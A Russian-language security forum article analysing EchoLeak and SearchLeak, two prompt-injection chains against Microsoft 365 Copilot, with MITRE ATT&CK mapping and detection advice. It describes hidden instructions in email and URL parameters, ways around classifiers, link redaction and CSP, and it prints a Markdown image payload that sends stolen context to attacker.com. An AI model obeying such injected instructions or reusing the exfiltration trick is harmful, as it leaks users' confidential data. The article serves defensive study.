Статья Microsoft 365 Copilot: уязвимость AI-помощника как вектор утечки корпоративных данных

Материнская плата ноутбука с выжженной дорожкой и тонкой струйкой дыма. На экэране в красноватом свечении отражается почтовый ящик Outlook.


В июне 2025 года исследователи Aim Labs (aim.security) выложили в паблик EchoLeak - первую задокументированную zero-click prompt injection атаку в production AI-системе. Одно письмо в Outlook, ноль кликов со стороны жертвы, полная эксфильтрация данных из Microsoft 365 Copilot. Координированное раскрытие через MSRC - январь 2025, технические детали - arxiv:2509.10540 (сентябрь 2025). CVE-2025-32711, CVSS 9.3 (Critical, по данным MSRC; в NVD на момент публикации отсутствует). Следом исследователи Varonis нашли SearchLeak - цепочку из трёх уязвимостей (CVE-2026-42824, reserved CVE ID), позволявшую красть почту, документы и данные встреч по одной ссылке. Обе дыры закрыты серверными патчами Microsoft, но паттерн атаки на RAG-системы корпоративного класса - рабочий, воспроизводимый и применимый к любой LLM-интеграции с доступом к внутренним данным. И вот тут становится интересно.

Бизнес-логика атаки: зачем атакующему ваш Copilot​

Copilot - не чат-бот для красивых ответов. Это агент с доступом ко всему, что видит пользователь в Microsoft 365: почта Outlook, чаты Teams, файлы OneDrive, библиотеки SharePoint, события календаря. По документации Microsoft, Copilot обращается к данным через Microsoft Graph и наследует права доступа авторизованного пользователя. Компрометация Copilot = доступ ко всему, к чему имеет доступ сотрудник. Через один вектор. Без компрометации учётной записи. Подробнее - в нашем руководстве по безопасность llm приложений.

В терминах MITRE ATT&CK атакующий через Copilot одновременно получает:
Все действия в логах выглядят как легитимная активность пользователя - Copilot работает от его имени. SOC-аналитик не отличит это от обычной работы сотрудника с AI-помощником. Вот это и есть главная проблема.

По данным LayerX Security, примерно 15% критически важных файлов в типичной организации подвержены риску утечки из-за непреднамеренных моделей совместного доступа. Copilot не создаёт новых дыр - он усиливает существующий oversharing, делая обнаружение и эксплуатацию тривиальным.

RAG-архитектура Copilot и риски LLM в корпоративной среде​

1784273233355.webp

Microsoft 365 Copilot построен на архитектуре Retrieval-Augmented Generation (RAG). При каждом запросе пользователя происходит четыре шага: Copilot получает промпт; через Microsoft Graph извлекает релевантные документы, письма и чаты; объединяет извлечённый контекст с промптом и системными инструкциями; LLM генерирует ответ на основе всего объединённого контекста.

Фундаментальная проблема: LLM не различает системные инструкции, пользовательский ввод и извлечённые данные. Для модели всё это - последовательность токенов, обрабатываемая одинаково. Авторы arxiv-публикации по EchoLeak формулируют точно: "LLMs do not understand this content in a semantic sense; instead, they predict sequences of tokens based on statistical patterns learned during training. The injected context influences these predictions, enabling more targeted responses. However, this same mechanism also creates an attack surface.""LLMки не понимают этот контент в семантическом смысле; вместо, они прогназируют последовательности токенов основанных на статистических паттернах обучения во время тренировки. Введенный контекст влияет на эти прогнозы, позволяя наносить более целенаправленные ответы. Однако этот же механизм также создает поверхность для атаки." Если в извлечённом документе или письме спрятаны вредоносные инструкции - LLM выполнит их как часть штатной задачи. Просто потому что не умеет отличать.

Именно этот вектор OWASP LLM Top 10 (2025) ставит на первое место - Prompt Injection (LLM01:2025): "Crafted user input alters LLM behavior, bypassing safety controls or extracting confidential info.""Специально подобранные пользовательские данные изменяют поведение LLM, обходя средства защиты или извлекая конфиденциальную информацию." Indirect prompt injection - когда вредоносные инструкции приходят не от пользователя, а из внешнего источника данных - наиболее опасен, поскольку пользователь не видит и не контролирует этот ввод.

В терминологии MITRE ATT&CK это Content Injection (T1659, тактики Initial Access и Command-and-Control) - атакующий внедряет контент в доверенный канал, который затем обрабатывается целевой системой.

Что защищает Microsoft​

По документации Microsoft, Copilot работает с несколькими уровнями защиты: блокировка вредоносного контента, детекция protected materials и блокировка prompt injection (jailbreak attacks). Данные промптов, ответов и обращений через Microsoft Graph не используются для обучения базовых LLM. Звучит солидно. Но EchoLeak и SearchLeak показали, что все эти механизмы обходятся при определённых условиях.

Модель доверия и её ограничения​

Microsoft Graph соблюдает права доступа: Copilot показывает только данные, к которым пользователь имеет view-доступ. Но корпоративная реальность другая - в организациях без регулярного аудита права нередко настроены избыточно. Copilot превращает пассивный oversharing (файл доступен, но его никто не ищет) в активную утечку данных через LLM (файл попадает в контекст ответа AI-помощника). Для атакующего достаточно заставить Copilot обратиться к нужным данным - доступ у сотрудника уже есть.

EchoLeak: zero-click prompt injection и утечка данных через LLM​

1784273336202.webp

EchoLeak - первая задокументированная zero-click prompt injection атака в production AI-системе. По публикации Aim Labs и академическому описанию (arxiv:2509.10540v1), уязвимость позволяла удалённому неаутентифицированному атакующему извлечь конфиденциальные данные из сессии Copilot без какого-либо взаимодействия со стороны жертвы. Ноль кликов - не фигура речи.

Цепочка атаки: от письма до эксфильтрации​

Initial Access - доставка payload. Атакующий отправляет email на Outlook жертвы. Письмо содержит скрытую prompt injection инструкцию, замаскированную HTML-комментариями или невидимыми элементами разметки. Для пользователя письмо выглядит обычным - вредоносный контент скрыт от визуального отображения, но полностью парсится RAG-движком Copilot.

Collection - автоматическая обработка RAG. Когда жертва задаёт Copilot бизнес-вопрос (например, "суммаризуй мои последние письма" или "подготовь обзор по проекту"), RAG-движок извлекает письма из Outlook - включая письмо атакующего. Скрытые инструкции попадают в контекст LLM наравне с легитимными данными. Модель не видит разницы.

Exfiltration - формирование ссылки. Вредоносная инструкция заставляет Copilot встроить конфиденциальные данные из контекста в URL reference-style Markdown-ссылки:
Markdown (GitHub flavored):
![img][ref]
[ref]: https://attacker.com/exfil?data=SENSITIVE_CONTEXT
Exfiltration - автоматическая отправка. Клиентский интерфейс Copilot автоматически подгружает изображение по этому URL - без клика пользователя. Для обхода Content Security Policy (CSP) атака использовала Teams-related preview endpoint, разрешённый в CSP Copilot (детали - в оригинальном отчёте Aim Labs), как прокси к серверу атакующего. Данные уходили через доверенный Microsoft-сервис. Красиво, если честно.

Обход защитных механизмов​

По arxiv-публикации, EchoLeak обходил три уровня защиты:

XPIA-классификатор (Cross Prompt Injection Attempt) - Microsoft-классификатор для детекции prompt injection. Payload был crafted так, чтобы не триггерить паттерны XPIA.

Link redaction - Copilot удалял внешние ссылки из ответов. EchoLeak использовал reference-style Markdown (ссылка определяется отдельно от места использования), который не подпадал под правила очистки. Типичная ситуация: санитайзер знает про text, но не знает про [ref]: url.

Content Security Policy - CSP блокировала запросы к неизвестным доменам. EchoLeak использовал Teams preview API как разрешённый CSP прокси. CSP allowlist стал вектором обхода CSP - ирония.

Предусловия и ограничения​

Работает если: Copilot имеет доступ к Outlook inbox жертвы; CSP разрешает Teams preview API; XPIA-классификатор не обновлён (до серверного патча Microsoft, май 2025).

Не работает если: организация отключила доступ Copilot к email; Microsoft развернула серверный патч (с мая 2025); CSP настроена без Teams preview endpoint.

Microsoft подтвердила, что эксплуатация в дикой природе не зафиксирована, и развернула серверный патч. Действий со стороны клиентов не требовалось. Координированное раскрытие (Aim Security -> MSRC, январь 2025; патч - май 2025; публикация - июнь 2025) предотвратило ущерб.

SearchLeak (CVE-2026-42824): три уязвимости в одной цепочке​

1784273369320.webp

SearchLeak - цепочка уязвимостей, обнаруженная исследователями Varonis. Microsoft присвоила единый идентификатор CVE-2026-42824 всей цепочке (reserved CVE ID, год в идентификаторе - год присвоения номера, не год публикации).

По данным NVD: CVSS 6.5 (MEDIUM), вектор CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N. Классификация NVD: CWE-77 (Improper Neutralization of Special Elements Used in a Command), хотя технически цепочка включает prompt injection, race condition при HTML-рендеринге и SSRF-класс эксфильтрации. Описание NVD: "Improper neutralization of special elements used in a command ('command injection') in M365 Copilot allows an unauthorized attacker to disclose information over a network.""Некорректная нейтрализация специальных элементов, используемых в команде ('внедрение команд') в M365 Copilot, позволяет неавторизованному злоумышленнику передавать информацию по сети."

Интерпретация вектора: атака через сеть (AV:N) с низкой сложностью (AC:L), не требует привилегий (PR:N), но требует одно действие пользователя - клик по ссылке (UI:R). Высокая угроза конфиденциальности (C:H), нет влияния на целостность и доступность (I:N, A:N).

В отличие от EchoLeak, SearchLeak - не zero-click: жертва должна перейти по ссылке. Отсюда и разница в CVSS (6.5 vs 9.3 у EchoLeak).

Этап 1: Parameter-to-prompt injection​

Microsoft 365 Copilot Search принимает URL-параметр q для поисковых запросов. Copilot Enterprise Search работает с корпоративными данными: почта, встречи, файлы SharePoint и OneDrive. Атакующий формирует URL с инструкциями в параметре q, предписывающими Copilot выполнить поиск в почтовом ящике жертвы и оформить результаты в определённом формате. Как описали исследователи Varonis: "Жертве не нужно ничего вводить, достаточно нажать на ссылку, а всё остальное делает Copilot."

Этап 2: Race condition при рендеринге HTML​

Во время потоковой генерации ответа Copilot браузер временно отображает необработанный HTML до того, как он будет помещён в теги <code>, где контент обезвреживается. HTML-тег <img>, контролируемый атакующим, успевает выполниться и инициировать исходящий запрос до завершения очистки. Окно эксплуатации - время между началом стриминга ответа и финализацией DOM-рендеринга. Классический race condition, но в новом контексте.

Этап 3: SSRF через Bing​

Функция Bing "Поиск по изображению" используется для отправки запроса к серверу атакующего. Bing - домен в CSP allowlist Copilot. Исследователи Varonis формулируют метко: "Bing становится невольным прокси для вывода данных. Классическая SSRF-атака, которая скрывается прямо на виду за записью в allowlist CSP."

Полная цепочка SearchLeak​

  1. Жертва переходит по специально созданной ссылке
  2. Copilot Search выполняет поиск по инструкциям из параметра q
  3. Copilot генерирует ответ с тегом <img>, содержащим украденные данные в URL
  4. Во время потокового рендеринга браузер отправляет запрос к Bing
  5. Bing загружает URL атакующего с украденными данными в параметрах
С точки зрения жертвы, Copilot просто обрабатывает запрос. Видимых признаков эксфильтрации нет.

Предусловия и ограничения​

Работает если: жертва кликает по ссылке (UI:R); Copilot Search доступен в организации; Bing preview API разрешён CSP; патч CVE-2026-42824 ещё не развёрнут.

Не работает если: Microsoft развернула патч (CVE-2026-42824 уже исправлен); организация ограничила Copilot Search; CSP настроена без Bing preview endpoint.

Ключевой вывод исследователей Varonis: привычные уязвимости вроде SSRF и race condition при HTML-инъекции превращаются в полноценные цепочки эксфильтрации, когда становится возможна инъекция инструкций в промпт LLM. Старые классы уязвимостей, новые способы эксплуатации.

Маппинг на MITRE ATT&CK: место атак на Copilot в kill chain​

Обе атаки укладываются в одну kill chain. Маппинг на конкретные техники:

Этап kill chainATT&CK-техникаРоль в атаке на Copilot
Initial AccessContent Injection (T1659)Внедрение prompt injection через email или URL-параметр
Cloud Accounts (T1078.004)Copilot действует от имени легитимного cloud account жертвы, но атакующий сам его не компрометирует
CollectionRemote Email Collection (T1114.002)Copilot извлекает письма по скрытой инструкции атакующего
CollectionSharePoint (T1213.002)Copilot обращается к файлам SharePoint как часть RAG-контекста
CollectionData from Cloud Storage (T1530)Доступ к OneDrive через Graph API от имени пользователя
Lateral MovementApplication Access Token (T1550.001)Copilot оперирует OAuth-токенами пользователя
Lateral MovementInternal Spearphishing (T1534)Copilot может генерировать ответы со встроенными вредоносными ссылками
Resource DevelopmentArtificial Intelligence (T1588.007)Атакующий использует возможности AI для автоматизации сбора данных

Ключевой паттерн: атакующий не компрометирует учётную запись. Он заставляет AI-агента действовать в своих интересах, оставаясь в рамках легитимных операций Copilot. В аудит-логах это неотличимо от штатной работы помощника. Для blue team это кошмар.

Детект и мониторинг: что искать в логах при атаках на Microsoft Copilot​

Обнаружение prompt injection в Copilot - задача нетривиальная. Вредоносные операции маскируются под легитимные запросы AI-помощника. Готовых SIEM-сигнатур для этого класса атак нет. Но ряд подходов работает уже сейчас - при условии, что вы знаете, куда смотреть.

Microsoft Purview​

Purview сохраняет историю взаимодействий с Copilot: промпты пользователя, ответы и ссылки на использованные источники. Администраторы могут использовать Content Search и Purview для просмотра этих данных и настройки retention-политик.

На что обращать внимание при threat hunting (конкретные KQL-запросы зависят от конфигурации Purview audit - см. Microsoft Learn: "Search the audit log for Copilot activities" и схему CopilotInteraction):
  • Ответы Copilot с внешними URL, не инициированными пользователем
  • Паттерны reference-style Markdown в ответах (конструкции [ref]: https://...)
  • Обращения к нетипичным источникам данных (письма от внешних отправителей, использованные как контекст для бизнес-запросов)
  • Аномально длинные URL в ответах с параметрами, содержащими base64 или закодированные строки

Defender for Cloud Apps​

Мониторинг аномальных паттернов доступа через Graph API: массовое чтение писем или файлов в рамках одной сессии Copilot; обращения к данным, к которым пользователь ранее не обращался; скачки объёма операций чтения, совпадающие с запросами к Copilot.

Сетевой мониторинг​

Для SearchLeak-класса атак - отслеживание исходящих запросов к Bing preview API с параметрами, содержащими внутренние данные. Для EchoLeak-класса - мониторинг запросов к Teams-related preview endpoint с нетипичными URL-назначениями (конкретный домен - см. отчёт Aim Labs).

Trade-off таблица подходов к детекту​

ПодходЧто покрываетЧто не покрываетКогда применять
Purview Content SearchИстория промптов и ответов CopilotДетект в реальном времениРасследование инцидентов, ретроспективный threat hunting
Defender for Cloud AppsАномалии доступа через Graph APIСодержимое промптов, скрытые инструкцииМониторинг в реальном времени, alerting
DLP-политики PurviewБлокировка передачи данных по classification labelsPrompt injection без чувствительных метокПревентивный контроль
Сетевой мониторинг (proxy/DLP)Исходящие запросы с данными в параметрахТрафик к MS-доменам в CSP allowlistОбнаружение SSRF-класса эксфильтрации
Ручной аудит логов CopilotГлубокий анализ подозрительных сессийМасштабирование, скорость реакцииТочечные проверки по IOC

Ни один подход не покрывает всё. Реальный детект - комбинация Purview для ретроспективы, Defender for Cloud Apps для realtime и сетевого мониторинга для ловли SSRF-экфильтрации.

Чеклист: защита данных Microsoft Copilot в корпоративной среде​

Готовый список действий для security-инженера или администратора M365. Каждый пункт - конкретное действие, которое можно передать сисадмину или включить в отчёт.
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме

Два года назад prompt injection казался академическим курьёзом из CTF-задач. EchoLeak и SearchLeak показали: indirect prompt injection в корпоративных RAG-системах - рабочий класс уязвимостей с реальным импактом. Компании раскатывают Copilot на тысячи пользователей раньше, чем проводят аудит прав доступа в SharePoint. Результат предсказуем.

AI-помощник не пробивает новые дыры в периметре - он усиливает существующие до уровня, который был невозможен до его появления. Раньше oversharing в OneDrive означал, что теоретически кто-то мог найти чужой файл. Теперь oversharing означает, что Copilot сам подсунет этот файл в контекст ответа, а атакующий вытащит содержимое через SSRF или auto-fetched image.

Microsoft может закрывать конкретные цепочки - reference-style Markdown, Teams proxy, Bing SSRF. Но фундаментальная проблема - LLM не различает инструкции и данные - пока не имеет системного решения. Это не баг, который пофиксят в следующем патче. Это свойство архитектуры transformer-моделей. Перед раскаткой любого AI-помощника security-инженер должен задать один вопрос: "к каким данным агент имеет доступ и через какие каналы он принимает ненадёжный ввод?" Если ответ на вторую часть включает email, чаты или общие документы - вы уже на поверхности атаки prompt injection. Принцип наименьших привилегий для AI - не абстракция на будущее, а задача, которую нужно было решать до выдачи лицензий Copilot.
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

Похожие темы

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🧭 Навигатор · ИБ 2026
Не знаешь, какой трек твой?
5 направлений ИБ, реальные зарплаты и точка входа для каждого — в одном треде.
JuniorSenior+
100K → 600K+ ₽ /мес
Открыть навигатор →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab